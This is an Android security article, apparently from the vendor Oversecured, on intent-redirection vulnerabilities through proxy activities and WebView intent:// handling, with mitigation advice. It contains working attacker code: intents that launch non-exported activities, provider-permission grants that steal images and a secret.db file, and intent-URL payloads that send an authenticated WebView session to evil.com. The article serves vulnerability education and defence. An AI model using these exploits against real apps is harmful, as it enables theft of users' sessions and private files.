Android: Access to app protected components

Introduction

This vulnerability resembles Open Redirect in web security. Since class Intent is Parcelable, objects belonging to this class can be passed as extra data in another Intent object. Many developers make use of this feature and create proxy components (activities, broadcast receivers and services) that take an embedded Intent and pass it to dangerous methods like startActivity(...), sendBroadcast(...), etc. This is dangerous because an attacker can force the app to launch a non-exported component that cannot be launched directly from another app, or to grant the attacker access to its content providers. WebView also sometimes changes a URL from a string to an Intent object, using the Intent.parseUri(...) method, and passes it to startActivity(...). This leads to a violation of Android’s security design, and nullifies all the access restrictions the developers have created. According to Oversecured statistics, more than 80% of apps contain this vulnerability. This may result in the theft of authentication details (the user’s session), the forging of content within the app, and sometimes also to the execution of arbitrary code – for example, in situations where an attacker can acquire the ability to rewrite files and substitute for the native library.

A typical case

Let us examine an example. Fragment of the AndroidManifest.xml file

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Activity ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Activity AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity is an example of hidden app functionality that performs certain unsafe actions, in this case passing the user’s authentication session to a URL obtained from the url parameter.

Export restrictions mean the attacker cannot access AuthWebViewActivity directly. A direct call

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

throws a java.lang.SecurityException, due to Permission Denial: AuthWebViewActivity not exported from uid 1337.

But the attacker can force the victim to launch AuthWebViewActivity itself:

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

and no security violation will arise, because the app that is under attack does have access to all its own components. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions.

When mobile app security researchers discover a vulnerability of this kind, they need to develop an attack to demonstrate the maximum possible impact. This requires studying the functionality of hidden components.

Escalation of attacks via Content Providers

Besides access to arbitrary components of the original app, the attacker can attempt to gain access to those of the vulnerable app’s Content Providers that satisfy the following conditions:

  • it must be non-exported (otherwise it could be attacked directly, without using the vulnerability we are discussing in this article)
  • it must have the android:grantUriPermissions flag set to true.

The attacker must set itself as the recipient of an embedded intent and set the following flags

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION permits persistent access to the provider (without this flag, the access is one-time only)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as content://com.victim.provider/image/1 the attacker can grant access to all the provider’s content using the URI content://com.victim.provider/ and then use ContentResolver to address content://com.victim.provider/image/1, content://com.victim.provider/image/2, etc.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION permits read operations on the provider (such as query, openFile, openAssetFile)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION permits write operations

An example of a typical provider where an attacker can gain access to it and perform regular operations like query, update, insert, delete, openFile, openAssetFile

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

Example of the theft of user pictures AndroidManifest.xml file

<activity android:name=".LeakActivity" android:exported="true" />

MainActivity.java file

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
        | Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Attacks on Android File Provider

This vulnerability also makes it possible for the attacker to steal app files located in directories that the developer predetermined. For a successful attack, the malign app needs to obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver.

Example file provider (for more details see https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

It provides read/write access to files on a special list that can be found in the app resources, in this case at res/xml/provider_paths.xml

It may look somewhat like

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>

Each tag specifies a root directory with a path value relative to the root. For instance, the value external_files will correspond to new File(Environment.getExternalStorageDirectory(), "images")

The value root-path corresponds to /, i.e. provides access to arbitrary files.

Let us say we have some secret data stored in the file /data/data/com.victim/databases/secret.db: the theft of this file may look something like this MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

Access to arbitrary components via WebView

An Intent object can be cast to a string with a call to Intent.toUri(flags) and back from a string to an Intent using Intent.parseUri(stringUri, flags). This functionality is often used in WebView (the app’s built-in browser): the app can verify an intent:// scheme, parse the URL into an Intent and launch the activity.

This vulnerability can be exploited both via other vulnerabilities (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side

Example of vulnerable code

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

The point here is that the shouldOverrideUrlLoading(...) method of class WebViewClient is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.

To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

Example attack

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

This version contains several restrictions compared to the classic version of the vulnerability:

  • Embedded Parcelable and Serializable objects cannot be cast to string (they will be ignored)
  • The insecure flags Intent.FLAG_GRANT_READ_URI_PERMISSION and Intent.FLAG_GRANT_WRITE_URI_PERMISSION are ignored when Intent.parseUri(...) is called. The parser will only leave them if the Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE)) flag is set, which is very rare

Many developers still forget to carry out a complete filtering of intents received via WebView

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
    	Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
    	intent.addCategory("android.intent.category.BROWSABLE");
    	intent.setComponent(null);
        startActivity(intent);
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

The attacker can specify a non-exported component via a selector

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

And bypass the app’s protection against explicit intents. We therefore recommend filtering the selector as well

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the intent-filter of some non-exported activity. Example of an activity declaration:

<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

We therefore recommend checking that an activity is exported before it is launched.

Other ways of creating insecure intents

Some app developers implement their own intent parsers (often to handle deeplinks or push messages), using e.g. JSON objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand Serializable and Parcelable objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a Parcel and then reading an intent from it

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
    byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
    Parcel parcel = Parcel.obtain();
    parcel.unmarshall(handle, 0, handle.length);
    startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Conclusion

Intents are a very important element of the Android system, because they are used for all interaction between and within apps. It is difficult to avoid all errors when working with them, and as the app gets larger the likelihood it will contain errors and the likely number of errors both increase. Oversecured can find all known weak spots involved in working with Intents, and all the cases it discovers are included in the scan report. Example from OVAA (https://github.com/oversecured/ovaa):

vulnerability